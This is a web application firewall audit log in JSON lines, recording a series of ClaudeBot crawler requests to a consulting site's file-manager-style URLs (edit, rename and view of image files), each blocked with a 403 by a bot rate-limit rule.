{"transaction":{"time":"13/Mar/2026:09:41:19.232458 +0100","transaction_id":"abPNr7J190y1fElY11blzQAAAI0","remote_address":"216.73.216.152","remote_port":55842,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Ftresorier.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"5293dbbffada354eb83f5842b188886e","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14288112"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"5293dbbffada354eb83f5842b188886e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/tresorier.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":263,"p2":2485,"p3":0,"p4":0,"p5":442,"sr":140,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:19.260471 +0100","transaction_id":"abPNr7J190y1fElY11blzgAAAI0","remote_address":"216.73.216.152","remote_port":55842,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fproduct-1.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"d5110ce58d5fb3871d6e106014deac9f","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3216392"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"d5110ce58d5fb3871d6e106014deac9f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/product-1.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":211,"p2":2395,"p3":0,"p4":0,"p5":398,"sr":123,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:19.335917 +0100","transaction_id":"abPNr7J190y1fElY11blzwAAAI0","remote_address":"216.73.216.152","remote_port":55842,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fabout-3.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"995eba7ca7ba61aa9c1d8cb5ec58d4e6","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14288115"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"995eba7ca7ba61aa9c1d8cb5ec58d4e6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/about-3.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":262,"p2":2524,"p3":0,"p4":0,"p5":408,"sr":143,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:19.376731 +0100","transaction_id":"abPNr7J190y1fElY11bl0AAAAI0","remote_address":"216.73.216.152","remote_port":55842,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fimage-removebg-preview+%2812%29.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"adda6e623ac3961a9ffefa1d8a57c49b","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3216395"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"adda6e623ac3961a9ffefa1d8a57c49b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/image-removebg-preview (12).png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":261,"p2":2466,"p3":0,"p4":0,"p5":459,"sr":134,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:19.381837 +0100","transaction_id":"abPNr7J190y1fElY11bl0QAAAI0","remote_address":"216.73.216.152","remote_port":55842,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fcaroussel1.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"16a960569cd4ebbf70b6e3e57439efc0","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14288118"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"16a960569cd4ebbf70b6e3e57439efc0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/caroussel1.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":237,"p2":2345,"p3":0,"p4":0,"p5":424,"sr":135,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:19.410581 +0100","transaction_id":"abPNr026I4peWFmz15yljwAAAUU","remote_address":"216.73.216.152","remote_port":41722,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fim1.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"ad89003b4ffbeee5c595eafa588bc90c","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14288121"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"ad89003b4ffbeee5c595eafa588bc90c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/im1.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":206,"p2":2024,"p3":0,"p4":0,"p5":290,"sr":158,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:19.465999 +0100","transaction_id":"abPNr4B2aIMAFdsi8EHxAgAAAtY","remote_address":"216.73.216.152","remote_port":46944,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Fcaroussel3.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"f374025184e2820968ec1d23623698e7","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14124181"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"f374025184e2820968ec1d23623698e7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/caroussel3.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":191,"p2":2031,"p3":0,"p4":0,"p5":319,"sr":109,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:19.556917 +0100","transaction_id":"abPNr4B2aIMAFdsi8EHxAwAAAtY","remote_address":"216.73.216.152","remote_port":46944,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fdownload__1_-removebg-preview.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"0a9e6b28df23f901d14b80683b8e7ae9","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3216404"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"0a9e6b28df23f901d14b80683b8e7ae9","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/download__1_-removebg-preview.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":177,"p2":1702,"p3":0,"p4":0,"p5":466,"sr":102,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:19.647549 +0100","transaction_id":"abPNr026I4peWFmz15ylkAAAAUU","remote_address":"216.73.216.152","remote_port":41722,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Fpartenaire4.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"9b8bd5b0b2c09bfe9e172fecd84ce5af","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7770708"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"9b8bd5b0b2c09bfe9e172fecd84ce5af","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/partenaire4.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":153,"p2":1672,"p3":0,"p4":0,"p5":295,"sr":105,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:19.739416 +0100","transaction_id":"abPNr0xHnLkyPWuTIW5bSAAAAYk","remote_address":"216.73.216.152","remote_port":41716,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Fproduct-2.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"e2e7ad0c5f2f9368a9141edede28debe","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7770711"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"e2e7ad0c5f2f9368a9141edede28debe","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/product-2.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":179,"p2":1760,"p3":0,"p4":0,"p5":373,"sr":116,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:19.830571 +0100","transaction_id":"abPNr0xHnLkyPWuTIW5bSQAAAYk","remote_address":"216.73.216.152","remote_port":41716,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Fdiscussion_3548401.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"7ff2a2e48ec3f23de18c0f7146535e24","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2036949"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"7ff2a2e48ec3f23de18c0f7146535e24","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/discussion_3548401.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":182,"p2":1894,"p3":0,"p4":0,"p5":428,"sr":174,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:19.923462 +0100","transaction_id":"abPNr0xHnLkyPWuTIW5bSgAAAZg","remote_address":"216.73.216.152","remote_port":58668,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fgenie1.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"bd53da448ec180bb58dcadae4da42dbc","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13271796"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"bd53da448ec180bb58dcadae4da42dbc","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/genie1.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":244,"p2":1845,"p3":0,"p4":0,"p5":389,"sr":100,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
